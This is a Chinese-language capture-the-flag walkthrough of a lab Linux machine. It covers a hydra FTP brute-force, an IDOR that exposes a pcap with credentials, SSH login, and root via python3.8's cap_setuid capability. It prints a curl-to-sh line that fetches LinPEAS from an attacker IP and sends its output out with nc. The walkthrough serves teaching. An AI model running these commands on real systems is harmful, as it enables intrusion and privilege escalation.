IP | ROLE | OS |
---|---|---|
10.10.10.245 | Victim | Linux |
10.10.14.228 | Attacker | Kali |
如果你是在找writeup而看的这篇文章,那么请再坚持一下。这里给一点提示:
- 仔细观察表面内容,这题并没有需要深挖的内容,别想多
- root的方法题目已经给出来了
获取普通权限
通过nmap检查端口,发现有21 22 80
端口打开,再没有其他端口。
第一反应是ftp的匿名用户或者常用用户。尝试爆破,这里推荐这个字典
hydra -C password.txt -u -e s 10.10.10.245 ftp
ftp这里其实是个幌子,使用常用密码爆破没有作用。
然后打开80网页,通过观察,发现10.10.10.245/data/3
这个页面是的数字是变动的,更改为0
后获取pcap文件。
用Wireshark
打开后过观察报文发现有FTP报文,追踪TCP流的到FTP用户密码
ssh 登录
ssh nathan@10.10.10.245
提权
提权起手式
- 查看
sudo -l
- 利用
LinPEAS
搜索
当查看sudo -l
的时候,此用户没有任何内容
使用 LinPEAS
使用不写入硬盘的方式利用LinPEAS
,这里用到cmder工具提示命令。
下载LinPEAS
监听端口并发送LinPEAS
python3 -m http.server 5711 &
nc -lvnp 1633 | tee linpeas.out
用cmder得到命令后,到目标机上执行
curl 10.10.14.228:5711/linpeas.sh | sh | nc 10.10.14.228 1633
这样就可以不留痕迹的得到输出文件了
Capabilities
观察输出文件发现
╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities
Current capabilities:
Current: =
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Shell capabilities:
0x0000000000000000=
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
了解到python3.8
拥有cap_setuid
的能力。 关于Capabilities请查看Linux Capabilities
cap_setuid
可以设置有效用户,能够提权。
因为是python,所以利用方法为
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
得到root权限
后记
本题简单,但是也有知识点,需要对Linux Capabilities有所了解。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 365433079@qq.com